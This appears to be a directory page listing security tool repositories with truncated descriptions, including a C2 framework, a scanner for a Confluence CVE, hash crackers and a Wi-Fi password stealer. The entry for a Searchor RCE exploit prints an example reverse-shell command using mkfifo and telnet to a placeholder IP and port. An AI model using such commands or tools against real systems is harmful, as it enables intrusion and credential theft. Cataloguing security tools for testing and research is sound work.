GWTMap

Description GWTMap is a tool to help map the attack surface of Google Web Toolkit GWT based applications. The purpose of this tool is to facilitate the extraction of any service method endpoints buried within a modern GWT application's obfuscated client-side code, and attempt to generate example...

conflucheck

ConfluCHECK Python 3 script to identify CVE-2021-26084 via network requests. Requirement pip install -r requirements.txt How to use First of all, said that i'm not an expert programer then... i'm pretty sure that my code may be improve, i will accept pull request. python3 conflucheck.py python3...

Clickjacking-Tester

Clickjacking Tester A python script designed to check if the website is vulnerable of clickjacking and creates a poc. Screenshot Usage python3 clickjackingtester.py Example Input python clickjackingtester.py sites.txt sites.txt www.google.com www.turkhackteam.com Output Checking www.google.com -...

mpDNS

mpDNS aka multi-purpose DNS Server Simple, configurable DNS Server with multiple useful features Python 3 names.db - holds all custom records see examples Simple wildcards like .example.com Catch unicode dns requests Custom actions aka macro: shellexec::dig google.com +short - Execute shell comma...

SILENTTRINITY

SILENTTRINITY SILENTTRINITY is modern, asynchronous, multiplayer & multiserver C2/post-exploitation framework powered by Python 3 and .NETs DLR. It's the culmination of an extensive amount of research into using embedded third-party .NET scripting languages to dynamically call .NET API's, a...

CheatSheetHost

CheatSheetHost A lightweight, content-driven web server for hosting interactive cheatsheets and reference materials. Perfect for CTF Capture The Flag challenges, reverse engineering, and technical documentation. This is best used in labs where you want to limit or forgo external traffic while sti...

Sooty

Overview Sooty is a tool developed with the task of aiding SOC analysts with automating part of their workflow. One of the goals of Sooty is to perform as many of the routine checks as possible, allowing the analyst more time to spend on deeper analysis within the same time-frame. Details for man...

bopscrk

bopscrk Generate smart and powerful wordlists for targeted attacks Explore the docs » View Demo · Report Bug · Request Feature Table of contents 1. About the Project What's new Built with 2. Getting started Installation Run interactive mode 3. Usage How it works Tips Advanced usage Lyricpass 4...

Dome

DOME - A subdomain enumeration tool Check the Spanish Version Dome is a fast and reliable python script that makes active and/or passive scan to obtain subdomains and search for open ports. This tool is recommended for bug bounty hunters and pentester in their reconnaissance phase. the more surfa...

PloitKit

PloitKit The Hacker's ToolBox PloitKit is a Python based GUI tool designed as one-stop for all other softwares. I was facing these kinds of problem, when I need to switch to different system, or I lost my pen-drive. I have to go to google, and search every tool and download every tool and so on. ...

parsedmarc

parsedmarc parsedmarc is a Python module and CLI utility for parsing DMARC reports. When used with Elasticsearch and Kibana or Splunk, or with OpenSearch and Grafana, it works as a self-hosted open-source alternative to commercial DMARC report processing services such as Agari Brand Protection,...

nodejsscan

nodejsscan Static security code scanner SAST for Node.js applications powered by libsast and semgrep. Made with in India Support nodejsscan Donate via Paypal: Sponsor the Project: e-Learning Courses & Certifications OpSecX Node.js Security: Pentesting and Exploitation - NJS Run nodejsscan docker...

Industrial Security Auditing Framework

Industrial Security Auditing Framework ▄█ ▄████████ ▄████████ ▄████████ ███ ███ ███ ███ ███ ███ ███ ███▌ ███ █▀ ███ ███ ███ █▀ ███▌ ███ ███ ███ ▄███▄▄▄ ███▌ ▀███████████ ▀███████████ ▀▀███▀▀▀ ███ ███ ███ ███ ███ ███ ▄█ ███ ███ ███ ███ █▀ ▄████████▀ ███ █▀ ███ ISAF aims to be a framework that...

SnitchDNS

!CAUTION This repo is unmaintained, visit https://github.com/sadreck/SnitchDNS for the latest version. SnitchDNS SnitchDNS is a database driven DNS Server with a Web UI, written in Python and Twisted, that makes DNS administration easier with all configuration changed applied instantly without...

Hash-Buster

Hash Buster Why crack hashes when you can bust them? Features Automatic hash type identification Supports MD5, SHA1, SHA256, SHA384, SHA512 Can extract & crack hashes from a file Can find hashes from a directory, recursively Multi-threading Insallation & Usage Note: Hash Buster isn't compatible...

WifiPassword-Stealer

WifiPassword-Stealer Get All Registered Wifi Passwords from Target Computer. INSTALLATION if you are using a python file pip install smtplib pip install subprocess pip install glob USAGE •Create an account on "https://mailtrap.io/" using a temp mail. •Set your own SMTP USERNAME and SMTP PASSWORD ...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC Remote Code Execution RCE via unsafe eval usage in Searchor --test Execute Custom Command Run any command on the target server: python3 CVE-2023-43364.py -a "whoami" Examples: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF"...

CVE-2026-53264

CVE-2026-53264 Description: https://vulners.com/cve/CVE-2026-53264 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab...

gf

gf A wrapper around grep to avoid typing common patterns. What? Why? I use grep a lot. When auditing code bases, looking at the output of meg, or just generally dealing with large amounts of data. I often end up using fairly complex patterns like this one: ▶ grep -HnrE...

CVE-2026-20230-Scanner

CVE-2026-20230 Scanner A Python-based scanner and validation tool for identifying potentially vulnerable Cisco Unified Communications Manager Unified CM deployments affected by CVE-2026-20230. Features Detects Cisco Unified CM instances Checks WebDialer exposure Supports single-target and bulk...